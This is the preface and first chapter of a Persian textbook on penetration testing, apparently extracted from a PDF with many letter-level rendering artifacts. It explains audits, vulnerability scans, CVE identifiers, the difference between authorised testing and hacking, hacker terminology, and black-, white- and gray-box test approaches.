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 برخدی  خدود،  کارمنددان  و مشتریان بیشتر راحتی برای ها سازمان از بسیاری خیرا سالهای طی در
 جدیددی  کاربردی های برنامه یا و کرده اضافه موجود کاربردی های برنامه به را اضافی امکانات

 گسدترش  یدا  و بدانکی  خددمات  به آنلاین دسترسی به توان می مثال برای اند. هکرد سازی پیاده را
 طدرف  از .کدرد  اشداره  کنندد،  مدی  کار خانه در که کارمندانی برای الکترونیک ارتباط های شیوه
 حفد   و بدالقوه  مشدتریان  جدذب  برای اینترنت در حضور ضرورت به ها سازمان از بسیاری دیگر

 آیدد،  مدی  پدیش  اینترندت  در حضدور  بحث که زمانی مورد، دو هر در .اند برده پی فعلی مشتریان
 کندار  در ،وب سدرورهای  .کندد  می پیدا ای هویژ اهمیت رورهاس امنیت خصوص به امنیت عنصر

 لازم کده  اندد  هآورد پدیدد  نیدز  را هدا  پدذیری  آسیب از جدیدی مجموعه خود، مفید های سرویس
 را هدا  آن وب، بدر  مبتندی  هدای  سیسدتم  خصدوص  بده  ،ای هرایان های سیستم اندرکاران دست است
 صدورت  بده  اسدت  ممکن و شوند نمی محدود سرورها به ها پذیری آسیب البته .کنند تلقی جدی
 کده  هدایی  برنامده  حتدی  کداربردی،  هدای  برنامده  سدازی  پیداده  و طراحدی  در عمدی غیر یا عمدی

 و هدا  پدذیری  آسدیب  شناسدایی  جهدت  همدین  به .باشند شده ایجاد هستند، کار حال در مدتهاست
 از بسدیاری  لدذا  .اسدت  برخدوردار  ای هویدژ  اهمیدت  از سیسدتم  روی بدر  هدا  آن تأثیر و نفوذ میزان
 .کنند می استفاده نفوذ تست از فوق هدف به نیل برای ها سازمان
 بدرای  هدا  سدایت  وب و وب تحدت  هدای افزار نرم از دولتی و خصوصی های سازمان بیشتر امروزه
 امنیدت  متخصصدین  پرورش به نیاز افزون، روز گسترش این .کنند می استفاده خود خدمات ارائه
 سدازمان  وب تحت سیستم به هکرها که آن از پیش بتوانند که افرادی .کند می تر پررنگ را وب
 ایدن  بنیادی مفاهیم با کتاب، این در .کنند آن رفع به اقدام و شناسایی را ها رخنه این کنند، رخنه
 بده  توجده  بدا .پدردازیم  مدی  جداری  هدای  آسدیب  بدا  مقابلده  یهدا  روش و نفوذ تست مراحل حوزه،
 از دولتدی  و خصوصدی  هدای  سدازمان  بیشدتر  اسدتفاده  و وب تحدت  خددمات  روزافدزون  گسترش

  تهدیددات  گدرفتن  نظدر  در بدا  و خود خدمات ارائه برای ها سایت وب و وب تحت هایافزار نرم

 پیشگفتار



 آموزش اصول و مفاهیم تست نفوذ 2 

 

 ویدژه  طدور  بده  و سدایبری  امنیدت  زمینده  در مداهر  کارشناسدان  وجود لزوم حوزه، این در سایبری
 .رسد می رنظ به ضروری امری کشور، در وب امنیت متخصصین

 سیسدتماتیک  و شدده  ریدزی  برنامده  مجاز، پروسه یک (Penetration Testing) نفوذ تست یک
 کداربردی  هدای  برنامده  مندابع  یدا  و شبکه سرور، به نفوذ جهت ها پذیری آسیب کارگیری به برای
 کده  اسدت  کامپیوتری شبکه یا سیستم یک امنیتی ارزیابی برای روشی نفوذ تست واقع در .است
 نفدوذ  تسدت  پروسده  .گیدرد  مدی  صورت خرابکار نفوذگر یا هکر یک حمله سازی شبیه یقطر از

 یدک  بالقوه که است فنی نقص و پذیری آسیب حفره، هر یافتن برای سیستم از فعال تحلیل یک
 در و شدود  مدی  انجام بالقوه هکر یک مقام در تحلیل این .شود می محسوب سیستم امنیتی ضعف
 مشدکلات  همده  .کرد استفاده حملات اجرای برای فعال امنیتی های ریپذی آسیب از توان می آن

 خطرات اثر کاهش برای پیشنهادهایی همچنین و ها آن اهمیت میزان ارزیابی با همراه باید امنیتی
 داخلدی  منابع از استفاده با تواند می نفوذ تست .شوند ارائه سیستم صاحب به فنی های حل راه یا و

 هددایت  نترندت ای هبد  شدرکت  اتصدالات  همچدون  خارجی منابع یا و میزبان امنیتی سیستم همچون
 مندابع  آزمدودن  بدرای  دسدتی  یدا  و اتوماتیدک  ابزارهدای  سری یک از معمولاً تست این در .شود
 مددیریت  برنامه در کلیدی جزء یک نفوذ تست که است معنی بدین این.شود می استفاده سیستم
 شناسدایی  بدرای  آن از استفاده های تکنیک و نفوذ تست ندفرای .رود می شمار به اطلاعات امنیت
 داده آمدوزش  شما به کتاب این در که است مواردی جمله از ها، پذیری آسیب از برداری بهره و

 تسدت  مفداهیم  مورد در خودتان دانش که بود خواهید قادر شما کتاب این مطالعه با .شد خواهد
 آن از اسدتفاده  چگدونگی  ةنحدو  و سیسدتم  در آن کارکرد چگونگی ةنحو و کرده کامل را نفوذ
 .بیاموزید را سیستم در

 ایدن  اندد.  هشد طراحی شده سازی شبیه حمله هدف یک آوردن دست به منظور به نفوذ های تست
 تواندد  مدی  عمدومی  هددف  یدک  .شدوند  ارائده  مشدتریان  توسدط  بایسدتی  شدده  سازی شبیه اهداف
 اطلاعدات  و خریدد  هدای  داده پایگداه  بده  نفدوذ  و نسازما مشتریان ارزشمند محتویات به دسترسی
 .دارندد  قدرار  سدازمان  داخلدی  شدبکه  در معمدول  صدورت  بده  امنیتدی  اطلاعدات  ایدن  .باشد امنیتی
 شدده  بنددی  طبقده  اطلاعدات  و کدرد  نفدوذ  سدازمان  انسدانی  منابع های سیستم به توان می همچنین
  لیسدت  یدک  آوردن دسدت  به  منظور به پذیری آسیب ارزیابی اما و .کرد ارائه را سازمان کاربران
 انجدام  سدازمان  اعضدا  بدرای  کدار  ایدن  .اسدت  شدده  طراحدی  ها پذیری آسیب از شده بندی اولیت
 بدرای  کمدک  نیازمندد  تنهدا  و هسدتند  مشدکلاتی  و مسدائل  دارای کده  دانندد  می مشتریان .شود می
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 و گددرا لیسددت پددذیری آسددیب ارزیدداب سدداده بیددان بدده .هسددتند هددا آن بندددی اولویددت و شناسددایی
 .هستند گرا هدف نفوذ کننده تست
 تسدت  انجدام  نحدوه  ،هدک  خداص  هدای  تکنیک پیگیری برای استانداردهایی شامل حاضر کتاب
 یدک  در امنیدت  ممیدزی  یدک  گدزارش  نوشدتن  جهت جامع راهنمای یک عنوان به حتی و نفوذ

 بدرای  بلکده  ،باشدد  نمدی  هدک  آمدوزش  فقدط  کتداب  ایدن  واقدع  در .اسدت  شدده  طراحی سازمان
 داندش  کدار  تازه .است شده طراحی باتجربه متخصص یک چه و کار تازه چه ،نفوذ کننده تست
 خدلا  باتجربده  متخصدص  و آورد مدی  دسدت  بده  بدوده  دقیدق  بسیار که را نفوذ تست زمینه در لازم
 بدرای  خداص  طدور  بده  کتاب این .کرد خواهد پر ،ها روش و استانداردها زمینه در را خود دانشی
 طراحدی  صدنعت  در کداربردی  آمدوزش  بدرای  و دانشگاهی های دوره در نفوذ تست های کلاس
 تسدت  یدک  انجدام  برای لازم مهارتهای داشتن از اطمینان برای متعددی های مثال شامل که،شده
 ییراهنمدا  ،یهمکار با شود می تقاضا ارجمند نظران صاحب و استادان از .باشد می ای هحرف نفوذ
 دهند. یاری حاضر کتاب اصلاح جهت در را نجانبیا خود یاصلاح یپشنهادها و
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 فصل اهداف

 :بود: دیخواه قادر فصل، نیا خواندن از پس
 ستیچ ذنفو تست که کنید می درک. 
 کنید. می درک را نفوذ تست یها روش 

 دیکن می درک را نفوذ تست مختلف یکردهایرو. 
 کرد. خواهید پیدا نفوذ تست یاخلاق اصول از یخوب درک 

 کرد. خواهید درک را نفوذ تست با مرتبط یحقوق مسائل 

 هدای  اهدسدتگ  نفدوذ  ادامده  بدا  باشدد.  مددرن  عصر در بحث نیشتریب دیشا شبکه تیامن و کامپیوتر
 اسدت.  شدده  ندده یفزا دغدغده  کی هایی شبکه و ها دستگاه نیچن تیامن ،یمانزندگ در یمحاسبات
 تید امن تسدت  هدای  راه از یکد ی اسدت.  یمهمد  موضوع واضح طور به زین تیامن مؤثر تست نحوه
 کده  اسدت  هدایی  کید تکن از اسدتفاده  فرایندد  نفدوذ  تسدت  واقدع  در است. نفوذ تست انجام شبکه،
 اندداختن  ریسک به یبرا تلاش یجا به اما شود، استفاده مخرب مهاجم کی طتوس است ممکن
 شود. می استفاده هدف ستمیس تیامن تست یبرا ها روش نیا از (،Target) هدف ستمیس

 یقینا ،دینکن دنبال را یاخبار نیچن اگر یحت .دیا دهیشن ستمیس نقض انواع مورد در بارها احتمالاً
 دارد. وجود وتریکامپ و شبکه تیامن یبرا یمتنوع یکردهایرو د.ده می رخ یتخلفات روز هر
 یرو بر دیگر گروهی کنند. می تمرکز مناسب یتیامن های هیرو و ها استیس یرو یبرخ
 بر گرید یبرخ شوند. می استفاده حملات با مقابله عنوان به که کنند می تمرکز ییاههادستگ
 تمرکز یبریسا حملات رشد حال در موج بهبود یبرا ای لهیوس عنوان به منا یسینو برنامه
 هر یتیامن یاستراتژ از یبخش دیبا و است ستهیشا یتیامن های دگاهید نیا از کی هر کنند. می

 .دباش سازمان
 یکد ی .سدتند ین اعتماد قابل ،یکاف تست عدم صورت در کرد، اجرا توان می که یتیامن ریتداب تمام
 باشد می ییها روش همان از استفاده دستگاه، ای ستمیس هر قیدق تست یبرا ها روش نیترمؤثر از
 واقعداً  دخدو  ستمیس تیامن به دیتوان می که است صورت نیا در تنها کنند. می اعمال مهاجمان که
 نفدوذ  هدای  تسدت  انجدام  بدرای  مدنظم  مقداهیم  یریادگید  دربداره  کتداب  نیا .دیباش داشته نانیاطم
 است.مؤثر
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 ست؟یچ نفوذ تست

 تسدت  حدال،  نید ا با است. یواقع حمله های کیتکن از استفاده شامل نفوذ تست که اید دهید قبلاً
 مهدم  تسدتها  حالتهدای  ریسدا  از نفدوذ  تسدت  زیتمدا  ،نیبندابرا  .سدت ین تیامن تست حالت تنها نفوذ
 تسدت  یبدرا  یاصدل  روش سه است، شده داده حیتوض یبعد یبخشها در که طور همان .باشد می
 دارد: وجود شبکه تینام
 Audits ها( )حسابرسی ها یزیمم ●
 Vulnerability scans پذیری آسیب های اسکن ●
 Penetration testing نفوذ تست ●

 
 Audits ها( )حسابرسی ها یزیمم

 بده  پاسدخ  هدای  برنامده  یبررسد  یمعندا  بده و پردازد، می مدارک و اسناد یبررس به معمولاً یزیمم
 یبررسد  شدامل  نیهمچند  کار نیا است. یتیامن های ستایس و فاجعه یابیباز های برنامه ،رخدادها
 نیدی تع هدای  اسدت یس و هدا  برنامده  با انطباق از نانیاطم یبرا گذشته رخداد به مربوط های گزارش
 است. انطباق یبرا بررسی کی یزیمم :باشد می یزیمم دیکل واقع در ،است شده
 شدامل  اسدت  ممکدن  باشدند.  زید ن سدتم یس سدوابق  یبررسد  شامل توانند می اوقات یگاه ها یزیمم

log آتش وارید به مربوط های (firewall،) log گونده هر اید  نفوذ صیتشخ ستمیس به مربوط های 
log یتد یامن یاسدتها یس تیرعا مورد در را ینشیب تواند می که باشد یگرید ستمیس به مربوط های 
 هدا،  اسدت یس با هدف شبکه ایآ کند یابیارز کهباشد می گونهنیا یزیمم یاصل تمرکز دهد. ارائه

 .ریخ ای دارد مطابقت سازمان آن یبرا اجرا قابل نیقوان موارد یبعض در و مقررات
 مقابدل  نقطده  عنوان به را ها آن توان می نیهمچن هستند. شبکه تیامن از یارزشمند جنبه ها یزیمم
 واقدع  در اسدت.  (passive) منفعلانه نسبتاً فرایند کی یزیمم گرفت. نظر در نفوذ تست از یفیط
 کید  یزید مم باشدد.  داشته تعامل آن با است ممکن یحت و نگرفته قرار ریتأث تحت یستمیس چیه

 ،اسدت  افتداده  اتفاق یزیمم که یزمان تا موارد یبررس حال در بیترت نیبد است، یخیتار فرایند
 ارد؟د مطابقدت  اجدرا  قابدل  یاسدتانداردها  و نیقدوان  ایآ اند؟ شده تیرعا ها استیس ایآ .باشد می
 مشداهده  یبعدد  های فصل و فصل نیا در که طور همان است. یخیتار و منفعل والتس همه نهایا

 کداملاً  و بدوده  افتدد  مدی  اتفداق  لحظه نیا در آنچه یبررس حال در نفوذ تست کی ،کرد خواهید
 باشد. می ایپو
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 Vulnerability Scans پذیری آسیب اسکن

 ستمیس ای شبکه کی در شده شناخته های یریپذ آسیب ییشناسا پذیری آسیب اسکن از هدف
 .سدت یچ شدده  شدناخته  پدذیری  آسدیب  میکند  فید تعر کده  اسدت  نیا مسئله نیاول است. هدف
 را تید امن نقدض  اجدازه  اسدت  ممکدن  کده  باشدد  مدی  یستمیس هر در نقص ینوع پذیری آسیب
 بدهد.
 ارهشددم کیدد آن بدده شددود، مدی  دییددتأ یکددامپیوتر سددتمیس در پدذیری  آسددیب کیدد کدده یهنگدام 
 Common Vulnerabilities and گدرفتن  قدرار  دیددگی  آسدیب  معدر   در و پدذیری  آسدیب 

Exposures شماره آن به معمولاً که شود می داده اختصاص CVE شدود.  مدی  گفته زین (Mitre، 
 اسدتاندارد  یاسدام  دیددگی:  آسدیب  معدر   در گرفتن قرار و مشترک های پذیری آسیب ،2016
  (/https://cve.mitre.org از شده یابیباز ،اطلاعات تینام پذیری آسیب
 کند: می فیتوص بیترت نیا به را CVE ستمیس  Mitre شرکت
 داندش  یبدرا  جید را هدای  شناسده  از یسدت یل (CVE) دیددگی  آسیب معر  در و پذیری آسیب
 CVE " اید  CVE هدای  شناسده  زا اسدتفاده  .باشد می یبریسا تیامن های پذیری آسیب عمومی

IDs "یگذار شماره مقامات توسط شده، داده اختصاص که CVE (CNA) جهدان،  سراسر از 
 مدورد  در اطلاعدات  اشدتراک  اید  بحدث  یبدرا  زمانیکده  ،ندد نک مدی  نیتضدم  را نیطدرف  نانیاطم

 مبندا  خدط  کیشدود،  مدی  اسدتفاده  فدرد  بده  منحصر عامل ستمیس ای افزار نرم کی پذیری آسیب
(baseline) یبریسدا  تید امن ونیاتوماس یبرا را داده تبادل و کند می فراهم ابزار یابیارز یبرا 

 کند. می ریپذ امکان
 .باشدد  نمدی  نفدوذ  تسدت  خود یخود به ولی ،بوده نفوذ های تست به مربوط پذیری آسیب اسکن
 خدودم  نمد  باشدد.  یبریسا تیامن در غلط یباورها ترین جیرا از یکی که دارد وجود این احتمال
 نید ا بدا  کنم. می آغاز پذیری آسیب اسکن چند ای کی با اغلب را خود نفوذ تست فرایند شخصاً
 نفدوذ  تسدت  خدود  و باشدد  مدی  نفدوذ  تسدت  یبرا اهداف خابانت به کمک یبرا فقط نهایا حال،
 .ستندین
 کده  طدور  همدان  و اسدت.  تیامن تست از مهم قسمت کی پذیری، آسیب اسکن کی حال، نیا با
 فرایندد  کید  شدتر یب تواندد  مدی  پدذیری  آسدیب  اسدکن  ،کدرد  دیخواه مشاهده یبعد های لفص در

 قطعداً  شدده  یزید ر برنامده  مدنظم  فواصل در شبکه هر که شود می هیتوص ،نیبنابرا باشد. خودکار
 .ردیگ ارقر پذیری آسیب اسکن تحت

https://cve.mitre.org/
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 Penetration Tests نفوذ های تست

 تسدت  یبدرا  یواقعد  هدک  هدای  کید تکن از تفادهاسد  نفوذ تست کی شد، ذکر قبلاً که طور همان
 .ستندین مترادف هک و نفوذ تست حال، نیا با .باشد می هدف ستمیس تیامن
 ،دید ا آورده دسدت  به ای رسانه ریتصاو از آنچه برخلاف .میکن آغاز کردن هک فیتعر با دییایب

 قید طر از سدتم یس کید  درک یبدرا  تلاش فرایند کردن هک شود. نمی محسوب جرم ذاتاً هک
 یبدرا  هدا  روش نید ا از تدوان  مدی  البتده  است. ستمیس آن در موجود بیمعا از برداری بهره و افتنی

 کنندد.  نمدی  نقدض  را قدانون  و ستندین مجرم رهک افراد اکثر اما کرد، استفاده جرمانهم های تیفعال
 یررسمیغ قیتحق موارد، از یاریبس در دارند. ها ستمیس درک در یسع که هستند یمحققان ها آن
 طدور  بده  .آیدد  مدی  بشدمار  یقدات یتحق همچندان  امدا  ،بوده یدانشگاه نهیزم هر از خارج و یفرد و

 نفدوذ  تسدت  شدود  مشدخص  کده  شدود  مدی  باعدث  ،واسدت  یریادگید  نوعی کردن هک خلاصه،
 پدروژه  تیریمدد  استاندارد یها روش شامل دیبا که است یرسم فرایند کی نفوذ تست .ستیچ

 هددف  سدتم یس کید  در نقدص  از (exploit)بدرداری  بهدره  یبرا لاشت نفوذ تست از هدف باشد.
 .باشد می
 هدک  باشدد.  مدی  کدرد یرو ندوع  تفداوت،  نیبدارزتر  و نیاولد  دارد؟ هک با یتفاوت چه نفوذ تست
 را خدود  ذهندی  یکنجکداو  یسدادگ  بده  هکرهدا  اسدت.  ساختار بدون و موقت فرایند کی کردن
 هدا  آن یکنجکداو  یسدادگ  به کند، می هک را تمسیس هکر یوقت که معنا بدان کنند. می برآورده

 دهددد. مددی قددرار توجدده مددورد را سددتمیس فیددظر هددای تفدداوت زا کیدد هددر و کددرده جلددب را
 نفدوذ،  کنندده  تسدت  کید  یبدرا  .سدتم یس تید امن تسدت  دارندد:  هددف  کی نفوذ های کننده تست

 هدا  آن به دیبا که دارد وجود یخاص تست اهداف است. لوکس مورد کی اساس بی یکنجکاو
 .شود رسیدگی
 یرو فقدط  اسدت  ممکدن  هکر کی است. (scope) محدوده نفوذ، تست و هک نیب دوم تفاوت

 قبدل  از که کند می تمرکز ای محدوده یرو بر نفوذ کننده تست کند. تمرکز ستمیس از جنبه کی
 است. شده مشخص
 (criminal) جدرم  لزومداً  هک ،شد گفته قبلاً که طور همان .باشد می بودن یقانون تفاوت نیسوم

 از یبرخد  مطمئنداً  حدال،  نید ا بدا  هستند. قانون عیمط افراد هکرها از یاریبس و .شود نمی محسوب
 .شدود  نمدی  سدایبری  میجدرا  رید درگ هرگدز  نفدوذ  کنندده  تسدت  کی دارند. ییجنا تیفعال هکرها
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 ،قدت یحق در اسدت.  (system’s owners) سدتم یس مالدک  مجدوز  درای شده یهم نفوذ کننده تست
 و بید ع یبد  اخدلاق  و پداک  ییجندا  سدابقه  کدرد،  میخواه بحث فصل نیا در بعداً که طور همان
 است. نفوذ کننده تست کی یبرا لازم های یژگیو نقص

 

 The Hybrid Test هیبریدی تست

 جداگانده  صدورت  بده  را نفدوذ  تست و پذیری آسیب های اسکنو یزیمم ،بزرگ های سازمان در
 حدال،  نید ا بدا  شدود.  می انجام ای جداگانه های میت توسط ها ستت نیا یگاه یحت دهند. می انجام
 کده  طور همان نباشد. صرفه به مقرون تر کوچک های سازمان یبرا یکردیرو نیچن است ممکن
 تسدت  کید  در .نیدک آغاز پذیری آسیب اسکن چند با اغلب را خود فوذن تست ،کردم بیان قبلاً
 در اسکن نیا به مربوط های گزارش که ابدی می سعهتو هیاول پذیری آسیب اسکن ابتدا ،یدیبریه

 شود. می شامل را نفوذ تست یینها گزارش
 انطبداق  مدورد  در مختصدر  مدرور  کی با را خود تست مقدمه که باشد دیمف است ممکن نیهمچن
 مراحدل  نید ا یینهدا  محصدول  .دید ده ارائده  گذشدته  رخداد به مربوط های گزارش و ها استیس با

 و اسدت  مختصدر  یزید مم کید  و پدذیری  آسدیب  یابید ارز شامل که بوده ذنفو تست کی داشتن
 باشد. تر کوچک های سازمان یبرا صرفه به مقرون حل راه کی تواند می اغلب

 

 Terminology یشناس واژه

 هدک  هدای  انجمن در استفاده مورد یاساس اصطلاحات که است مهم ،میبرو جلوتر نکهیا از قبل
 احتمدالاً  و دارند ای گسترده اریبس کاربرد اصطلاحات نیا از یخبر .دیکن درک را نفوذ تست و
 احتمدالاً  کهبود، دنخواه جیرا کمتر گرید اصطلاحات .دیا دهیشن یزیچ ها آن درباره گذشته در
 است. دیجد یتانبرا
 کده  اسدت  دیام .شود می انجام کیستماتیس روش بدون ،تست :Ad hoc testing موقت تست ●
 .دارد نگه دور امر نیا زا را شما کتاب نیا
 متدرادف  اصدطلاح  نید ا کند. می یشکن قانون که یهکر :Black hat hacker اهیس کلاه هکر ●

 از یبرخد  بدرخلاف  اسدت.  جید را اریبسد  اهیسد  کدلاه  هکدر  اصدطلاح  اما است، (crackerکراکر)
 یشخصد  نددارد.  یشدتر یب مهدارت  لزوماً اهیس کلاه کی باشید داشته دقت باید ای، رسانه ریتصاو
 دارد. یکم مهارت هنوز کند یشکن قانون تواند می که
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 سدتم یس وارد ،مضدر  اید  یرقدانون یغ مخدرب،  یکدار  انجدام  یبدرا  کده  یکسد  :Cracker کراکر ●
   .(اهیس کلاه هکر با مترادف) شود می
 یقانون اصول و اهداف یبرا هک های کیتکن از که یشخص :Ethical hacker یاخلاق هکر ●
 کند. می دهاستفا یاخلاق و
 هدف. آن مورد در یریادگی یبرا هدف کی اسکن :Footprinting پا رد ●
 در امدا  کندد  مدی  تید تبع قانون از معمولاً که یهکر :Gray hat hacker یخاکستر کلاه هکر ●
 کند. می عبور اهیس کلاه هک مرز از موارد یبرخ
 اید  معکدوس  یمهندسد  قطرید  از سدتم یس قیدق یبررس با دارد یسع که شخصی :Hacker هکر ●

 تواندد  مدی  فدرد  .ستندین مجرم لزوما هکرها کند. کسب یاطلاعات ستمیس مورد در ،ستمیس کاوش
 ندهد. انجام یراخلاقیغ یکار ای نگذارد، پا ریز را قانون هرگز و باشد هکر
● Script kiddy : است. یماهر هکر کند می ادعا که ماهر ریغ یشخص یبرا انهیعام یاصطلاح 
 را خدود  و رندد یگ مدی  ادید  را آن از اسدتفاده  کنندد،  مدی  دانلدود  را ابدزار  دو ای کی افراد از یبعض

  .باشد نمی اینگونه که یحال در ،دانند می یبزرگ یهکرها
 بدا  متدرادف  اغلدب  کندد،  نمدی  یشکن قانون که یهکر : White hat hacker دیسف کلاه هکر ●

 و یقدانون  یروشد  بده  کدردن  هدک  هدای  مهدارت  از کده  است یشخص اساساً است. یاخلاق هکر
 کند. می استفاده یاخلاق
 مشداهده  مدتن  در را شدده  یمعرفد  مدوارد  ریسدا  کدار،  ادامده  در و هسدتند  یاساس اصطلاحات نیا

 Hacker)هکدر  فرهندگ  شود، مطرح اصطلاحات با همراه دیبا که یگرید مسئله کرد. دیخواه

culture) بدا  یتنگداتنگ  ارتبداط  ندگ یهک و نفوذ تست اگرچه که کنم می دیتأک هم باز .باشد می 
 هکدر  فرهنگ دغدغه دیبا چرا که شود تانتعجب باعث است ممکن .ستندین یکسان اما دارند، هم
 ،نیبندابرا  .دید ریبگ ادید  هکرهدا  از را یادیز موارد دیتوان می که است نیا تیواقع .یمباش داشته را

 باشد. دیمف اریبس تواند می هک فرهنگ درک
 مرتکدب  هکرهدا  جامعده  در افدراد  از یبرخد  است. اکتشافات از یکی یکل طور به هک فرهنگ
 و افتده ی سدازمان  هک جامعه کی ،قتیحق در .شوند نمی شامل را هکرها همه اما شوند، می جرم
 هدم  بده  را آن که عاملی است. رینظ یب و متنوع العاده فوق هک جامعه و ندارد وجود کنواختی
 است. هکرها یایدن در یاصل عنصر که است دانش به لیم کند، می لیدتب جامعه به و داده وندیپ

 وجدود  یکمد  اریبسد  های نامهیگواه و مدارک هک، جامعه انیم در .باشد می دانش اصلی عنصر
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 مهدم  که آنچه و دیده انجام دیتوان می که آنچه ،دیدان می که دیکن ثابت دیتوان می که آنچه .دارد
 هدک  هدای  مجمدع  نیمهمتدر  از یکد ی از باشدید  داشته تمایل هک است مهم یصورت در نیا است.
 یوقتد  باشدد.  مدی  یریادگید  فقدط  کننددگان  شدرکت  دغدغده  فرماییدد.  دنید د DEF CON مانند

 کده  دارند انتظار ها آن .باشند یتند منتقدان توانند می که شود می انیمجر و سخنرانان از صحبت
 دهند. ائهار یکاربرد و دیجد دانش انیمجر و سخنرانان همه
 یاتید ح اریبسد  مدا  یبدرا  آن بده  اتصدال  کده  اسدت  لید دل ایدن  به هک فرهنگ از جنبه آن واقع در
 هدا  کتداب  در شهیهم که ییزهایچ ،ببینند آموزش ییزهایچ دیتوان می که است یمکان قاًیدق،است
 امدا  .سدتند ین کسدان ی نفوذ تست و هک که کنم می تکرار هم باز اما، شوند. نمی منتشر مجلات و

 یهکدر  متندوع  هدای  کید تکن دانسدتن  ،نیبندابرا  دارد. هدک  های کیتکن دانش به ازین نفوذ تست
 . کرد( میخواه یبررس را موارد نیا از یاریبس کتاب نیا )در است یاتیح
 نفدوذ  تسدت  و هدک  کده  کدرد(  خدواهم  دید تأک همچندان  )و ام کدرده  دید تأک قدبلاً  کده  یحدال  در
 عاشدق  کده  هک جامعه از دیبا نفوذ ای حرفه های کننده تتس هستند، مرتبط اما مجزا های تیفعال
 در دائمداً  ستمیس تیامن یکل طور به و ها پذیری آسیب نفوذ، تست کنند. استفاده هستند یریادگی

 نفدوذ  تسدت  مدورد  در دید با هامدروز  کده  دیدانسدت  مدی  کلمه یواقع یمعنا به اگر است. رییتغ حال
 داندش  آوردن دسدت  به زمان مدت .کردید می زمینه نای در خود دانش افزایش به شروع ،دیبدان
 آور دلهدره  اریبسد  را حرفده  نید ا از جنبده  آن افدراد  یبرخ .باشد می ماه 24 تقریبا ازین مورد دیجد
 ،یا حرفده  نفدوذ  کنندده  تست کی ای هکر کی عنوان به است. آور نشاط مننظر به ولی دانند می
 مطدرح  باید که ثابت مورد یک .دیهست مداوم یریادگی حال در همیشه العمر مادام سفر کی در
 کسدب  یبدرا  اشدتیاق  نید ا و دارد،ند  یکداف  انددازه  بده  داندش  هرگز کس چیه که است این کنم

 .باشد می یهکر جامعه مشخصه شتریب اطلاعات
 

 Methodologies ها شناسی روش

 چده  زا کندد.  مدی  جددا  کدردن  هک از را نفوذ تست که است یاصل عناصر از یکی شناسی روش
 ابتددا  کده  دارد وجدود  یمختلف یکل یکردهایرو د؟یکن می استفاده نفوذ تست انجام یبرا یروش
 از جددا  شناسدی  روش پرداخدت.  میخدواه  یتدر  خاص های روش به سپس کرد، میخواه یبررس

 پرداخت. میخواه آن به "استانداردها" ،2 فصل در که باشد می نفوذ تست یاستانداردها
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 Nature of the Test تست تیماه

 جعبه و دیسف جعبه ،اهیس جعبه معمولاً ها آن به که دارد وجود نفوذ یبرا گسترده تست نوع سه
 کننده تست به که است یاطلاعات زانیم از یفیتوص ها تخصیص نیا شود. می گفته یخاکستر
 شود. می داده تست از قبل نفوذ
 

 Black Box اهیس جعبه

 نظر مورد شبکه مورد در یکم اطلاعات داشتن با نفوذ هکنند تست شامل اهیس جعبه تست کی
 باشد. شان (gateway) دروازه روتر IP آدرس ای ینترنتیا آدرس و سازمان نام فقط دیشا است،
 کند. نقض را شبکه دارد قصد که است یخارج مهاجم کی یساز هیشب ها تست نیا انجام از هدف
 از کی هر رایز شود، انجام یخارج طرف کی توسط دیبا اهیس جعبه تست کی که است یهیبد

 .هستند برخوردار شبکه مورد در سازمان دانش از سازمان خود اطلاعات یفناور بخش یاعضا
 صورت بدین دهیفا اولین دارد. یبیمعا و ایمزا اهیس جعبه تست ،تست یبرا یکردیرو هر مانند
 کننده تست مهارت که است نیا دهیاف نیدوم و کند می دیتقل را یخارج حمله قاًیدق که باشد می
 نفوذ ایجاد در است ممکن باشند، نداشته یادیز مهارت اگر شود. می مشخص بلافاصله نفوذ

 .باشند داشته مشکل شما شبکه به آمیز موفقیت
 تست انجام داشت. خواهد بالایی نهیهز شهیهم که است نیا روش نیا در مشکل نیمهمتر
 در دیبا ابتدا نفوذ کننده تست رایز ،شود می صرف یشتریب زمان یتوجه قابل طور به اهیس جعبه
 کردن کاوش و کردن اسکن با دیبا وی بعلاوه، کند. کسب یاطلاعات هدف شبکه مورد
(scanning و probing) باشد می بر زمان شودکه آشنا.  
 

 White Box دیسف جعبه

 تست یبرا کردیرو نیا است. اهیس جعبه تست مخالف کاملاً ،داستیپ نامش از که طور همان
 است: ریز موارد شامل که است هدف ستمیس مورد در کننده تست گسترده دانش شامل نفوذ
 آدرس IP سرورها و یکار های ستگاهیا 
 ها کامپیوتر یبرا عامل ستمیس اطلاعات 
 های آدرس IP روترها و ها چیسوئ یبرا 
 نفوذ صیتشخ یستمهایس و ها لفایروا مانند یتیامن یدستگاهها به مربوط اطلاعات 
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 عمده تیمز دو کردیرو نیا شود. می انجام یخارج ای یداخل کارکنان توسط دیسف جعبه تست
 از ها آن رایز است مناسب کاملاً یداخل کارکنان یبرا آن عملکرد کهنیا مزیت نیاول دارد،
 را یکمتر زمان روش نیا کهنیا تیمز نیدوم دارند. شبکه مورد در یتوجه قابل دانش ،قبل
 اسکن ای کشف مرحله به یازین کننده تست .داشت خواهد زین یکمتر نهیهز نیبنابرا و لبدط می

 کارکنان داشتن دخالت یاصل ایراد دارد. تست یبرا یمشخص موارد اغلب و داشت نخواهد
 کوچک اریبس شبکه کی 1-1 شکل پرداخت. میخواه آن به فصل نیا در بعداً که است یداخل
 دهد. می نشان کند می افتیدر دیسف جعبه تست کی در کننده تست که یاطلاعات نوع با را

 

 دیسف جعبه تست .1-1 شکل
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 همه شبکه (Layout) طرح و ها عامل ستمیس ،IP های آدرس ،دیکن می مشاهده که طور همان
 است. شده داده نشان

 

 Gray Box یخاکستر جعبه

 جعبده  نیبد  کده  یزید چ هدر  یمعن اصل در است. خاص مرز بدون و یعموم کاملاً اصطلاح کی
 داده کنندده  تسدت  بده  شدبکه  اطلاعدات  بعضداً  ،گدر ید عبدارت  بده  اید  .باشدد  می دیسف جعبه و اهیس
 شدروع  یبدرا  کار ترین آسان فعالیت نیا خاص، امر کی عنوان به اطلاعات. تمام نه اما شود، می
 اطلاعدات  تمدام  آوری جمدع  بده  ازنید  بددون  ،سیسدتم  اطلاعدات  همده  بده  نفوذ کننده تست .است

 دارد. دسترسی
 نیا با است. ازین مورد یکمتر اکتشاف رایز بود، خواهد اهیس جعبه از عتریسر تست روش نیا

 انجام را اکتشاف و اسکن دیبا کننده تست دارد. وجود (discovery) کشف مرحله کی حال،
 که لیدل نیا به بود، خواهد اهیس جعبه تست از عتریسر و تر گسترده اریبس اکتشاف نیا دهد.
 .کند می آغاز ها دانش از یبرخ با کننده تست
 با است، شده داده نشان قبلی شکل در که دیسف جعبه تست در شده فاش اطلاعات خلاف بر

